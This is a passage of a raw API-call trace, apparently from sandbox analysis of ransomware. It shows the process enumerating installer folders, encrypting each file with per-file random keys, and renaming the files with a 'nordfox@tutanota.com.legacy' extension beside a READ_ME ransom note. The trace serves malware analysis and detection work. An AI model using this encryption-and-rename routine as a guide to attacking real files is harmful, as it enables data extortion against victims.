"c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x490 [0099.219] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=18264) returned 1 [0099.219] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4758) returned 0x5a0f80 [0099.219] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4758) returned 0x5a56e0 [0099.219] ReadFile (in: hFile=0x490, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x4758, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x4758, lpOverlapped=0x0) returned 1 [0099.336] SetFilePointer (in: hFile=0x490, lDistanceToMove=-18264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.336] WriteFile (in: hFile=0x490, lpBuffer=0x5a56e0*, nNumberOfBytesToWrite=0x4758, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a56e0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4758, lpOverlapped=0x0) returned 1 [0099.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0099.336] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a56e0 | out: hHeap=0x520000) returned 1 [0099.337] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4758 [0099.337] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0099.337] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584da8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584da8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0099.339] WriteFile (in: hFile=0x490, lpBuffer=0x584da8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584da8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0099.339] WriteFile (in: hFile=0x490, lpBuffer=0x54d0d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0099.339] CloseHandle (hObject=0x490) returned 1 [0099.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584da8 | out: hHeap=0x520000) returned 1 [0099.344] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0d0 | out: hHeap=0x520000) returned 1 [0099.344] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1030\\SetupResources.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0099.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0099.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556ab8 | out: hHeap=0x520000) returned 1 [0099.346] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0099.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0099.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584148 [0099.346] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0099.346] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584148 | out: pbBuffer=0x584148) returned 1 [0099.346] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0099.347] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1030\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0099.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556570 [0099.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0099.347] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556570 | out: hHeap=0x520000) returned 1 [0099.347] CreateFileW (lpFileName="\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x490 [0099.347] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=77748) returned 1 [0099.347] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12fb4) returned 0x5a0f80 [0099.348] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x12fb4) returned 0x5b3f40 [0099.348] ReadFile (in: hFile=0x490, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x12fb4, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x12fb4, lpOverlapped=0x0) returned 1 [0099.404] SetFilePointer (in: hFile=0x490, lDistanceToMove=-77748, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.404] WriteFile (in: hFile=0x490, lpBuffer=0x5b3f40*, nNumberOfBytesToWrite=0x12fb4, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5b3f40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x12fb4, lpOverlapped=0x0) returned 1 [0099.405] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0099.406] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5b3f40 | out: hHeap=0x520000) returned 1 [0099.407] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x12fb4 [0099.407] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0099.408] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0099.409] WriteFile (in: hFile=0x490, lpBuffer=0x584148*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584148*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0099.409] WriteFile (in: hFile=0x490, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0099.409] CloseHandle (hObject=0x490) returned 1 [0099.412] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584148 | out: hHeap=0x520000) returned 1 [0099.412] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0099.412] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\1030\\LocalizedData.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0099.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0099.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0099.415] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0099.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d5b0 [0099.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584da8 [0099.415] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d250 [0099.415] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584da8 | out: pbBuffer=0x584da8) returned 1 [0099.415] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d250 | out: pbBuffer=0x54d250) returned 1 [0099.415] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1030\\eula.rtf", dwFileAttributes=0x80) returned 1 [0099.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d2f0 [0099.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0099.416] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d2f0 | out: hHeap=0x520000) returned 1 [0099.416] CreateFileW (lpFileName="\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x490 [0099.416] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3314) returned 1 [0099.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xcf2) returned 0x5a0f80 [0099.416] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xcf2) returned 0x5a1c80 [0099.416] ReadFile (in: hFile=0x490, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0xcf2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0xcf2, lpOverlapped=0x0) returned 1 [0099.568] SetFilePointer (in: hFile=0x490, lDistanceToMove=-3314, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.568] WriteFile (in: hFile=0x490, lpBuffer=0x5a1c80*, nNumberOfBytesToWrite=0xcf2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a1c80*, lpNumberOfBytesWritten=0x2e1f9bc*=0xcf2, lpOverlapped=0x0) returned 1 [0099.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0f80 | out: hHeap=0x520000) returned 1 [0099.568] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a1c80 | out: hHeap=0x520000) returned 1 [0099.568] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xcf2 [0099.568] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0099.568] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584da8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584da8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0099.568] WriteFile (in: hFile=0x490, lpBuffer=0x584da8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584da8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0099.568] WriteFile (in: hFile=0x490, lpBuffer=0x54d250*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d250*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0099.568] CloseHandle (hObject=0x490) returned 1 [0099.592] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584da8 | out: hHeap=0x520000) returned 1 [0099.592] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d250 | out: hHeap=0x520000) returned 1 [0099.592] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1030\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0099.596] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0099.596] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0099.596] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0099.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0099.596] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0099.596] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0099.596] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ae0 | out: hHeap=0x520000) returned 1 [0099.596] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1031\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8c7ef69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0ba8 [0099.596] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0099.596] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0099.596] GetLastError () returned 0x0 [0099.596] SetLastError (dwErrCode=0x0) [0099.596] GetLastError () returned 0x0 [0099.597] SetLastError (dwErrCode=0x0) [0099.597] GetLastError () returned 0x0 [0099.597] SetLastError (dwErrCode=0x0) [0099.597] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566bd8 [0099.597] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d608 [0099.597] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0099.597] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0099.597] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0828 [0099.597] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0828 | out: hHeap=0x520000) returned 1 [0099.597] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20108 [0099.597] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20108 | out: hHeap=0x520000) returned 1 [0099.597] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0099.597] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566bd8 | out: hHeap=0x520000) returned 1 [0099.597] FindNextFileW (in: hFindFile=0x5a0ba8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8c7ef69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0099.598] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0099.598] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578380 [0099.598] GetLastError () returned 0x0 [0099.598] SetLastError (dwErrCode=0x0) [0099.598] GetLastError () returned 0x0 [0099.598] SetLastError (dwErrCode=0x0) [0099.598] GetLastError () returned 0x0 [0099.598] SetLastError (dwErrCode=0x0) [0099.598] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c80 [0099.598] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d5b0 [0099.598] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x520000) returned 1 [0099.598] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0099.598] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0de8 [0099.598] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0de8 | out: hHeap=0x520000) returned 1 [0099.598] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20090 [0099.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20090 | out: hHeap=0x520000) returned 1 [0099.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0099.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c80 | out: hHeap=0x520000) returned 1 [0099.599] FindNextFileW (in: hFindFile=0x5a0ba8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd5b, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0099.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578380 | out: hHeap=0x520000) returned 1 [0099.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0099.599] GetLastError () returned 0x0 [0099.599] SetLastError (dwErrCode=0x0) [0099.599] GetLastError () returned 0x0 [0099.599] SetLastError (dwErrCode=0x0) [0099.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0099.599] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0099.599] GetLastError () returned 0x0 [0099.599] SetLastError (dwErrCode=0x0) [0099.599] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0099.600] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0099.600] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d9d0 [0099.600] FindNextFileW (in: hFindFile=0x5a0ba8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0099.600] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0099.600] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0099.600] GetLastError () returned 0x0 [0099.600] SetLastError (dwErrCode=0x0) [0099.600] GetLastError () returned 0x0 [0099.600] SetLastError (dwErrCode=0x0) [0099.600] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0099.600] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0099.600] GetLastError () returned 0x0 [0099.600] SetLastError (dwErrCode=0x0) [0099.600] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566d60 [0099.600] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566d60 | out: hHeap=0x520000) returned 1 [0099.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5568b0 [0099.601] FindNextFileW (in: hFindFile=0x5a0ba8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8c7ef69, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8c7ef69, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8c7ef69, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0099.601] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0099.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0099.601] GetLastError () returned 0x0 [0099.601] SetLastError (dwErrCode=0x0) [0099.601] GetLastError () returned 0x0 [0099.601] SetLastError (dwErrCode=0x0) [0099.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0099.601] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0099.601] GetLastError () returned 0x0 [0099.601] SetLastError (dwErrCode=0x0) [0099.601] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0099.601] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0099.602] FindNextFileW (in: hFindFile=0x5a0ba8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0099.602] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0099.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0099.602] GetLastError () returned 0x0 [0099.602] SetLastError (dwErrCode=0x0) [0099.602] GetLastError () returned 0x0 [0099.602] SetLastError (dwErrCode=0x0) [0099.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0099.602] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0099.602] GetLastError () returned 0x0 [0099.602] SetLastError (dwErrCode=0x0) [0099.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566cf0 [0099.602] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566cf0 | out: hHeap=0x520000) returned 1 [0099.602] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0099.602] FindNextFileW (in: hFindFile=0x5a0ba8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0099.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0099.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584670 [0099.603] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0099.603] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584670 | out: pbBuffer=0x584670) returned 1 [0099.603] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0099.603] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1031\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0099.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0099.604] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0099.607] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5567e0 | out: hHeap=0x520000) returned 1 [0099.607] CreateFileW (lpFileName="\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x494 [0099.607] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=18776) returned 1 [0099.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4958) returned 0x5a0f80 [0099.607] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4958) returned 0x5a58e0 [0099.608] ReadFile (in: hFile=0x494, lpBuffer=0x5a0f80, nNumberOfBytesToRead=0x4958, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5a0f80*, lpNumberOfBytesRead=0x2e1f9bc*=0x4958, lpOverlapped=0x0) returned 1 [0099.672] SetFilePointer (in: hFile=0x494, lDistanceToMove=-18776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.672] WriteFile (in: hFile=0x494, lpBuffer=0x5a58e0*, 